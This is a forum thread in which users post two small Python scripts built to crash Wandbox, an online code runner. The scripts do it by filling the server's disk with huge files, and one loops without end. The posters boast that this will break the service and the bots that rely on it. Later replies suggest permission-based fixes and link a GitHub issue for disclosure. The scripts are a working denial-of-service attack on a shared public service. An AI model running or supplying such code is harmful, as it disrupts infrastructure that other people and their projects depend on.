Posted
Yes. With Python and the open() function.
I first found it out and Wabz did some upgrade to make it even more deadly.
This code will crash Wandbox. And every bot that uses wandbox will just have those commands not work.
Wabz:
import random
while True:
with open(str(random.randint(100000000, 9999999999)), "w+") as f:
f.write("A"*9999999)
Mine:
import os
for i in range(0,150):
with open(("file"+str(i)),"w+") as file:
file.write("bruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruh" * 90000)
print(os.path.getsize("./file0"))
print(os.path.getsize("./file1"))
https://cdn.discordapp.com/attachments/744131168018104320/749027674323812373/kekw.mp4Â
Â
Replied
So basically, it's gonna fill up the space in their VPS. So much that they wont be able to delete those files afterwards. There is no way for Jon to fix this (unless he switches to another API) but to restrict file access. For wandbox, you could block file creation in the folder, im sure unix shell perms can do that.
Also, Spoon was the first to discover it, i just wrote something better
Cancel
Post
Added
i will submit an issue in their github about that
Cancel
Post
Added
Please bump this issue so that it can get fixed: https://github.com/melpon/wandbox/issues/319
Cancel
Post
My new discord is Wabz#1337 with ID 777154062789509130
Replied
nice ummm cool i guess
Cancel
Post
Users viewing this thread:
( Members: 0, Guests: 1, Total: 1 )
Cancel
Post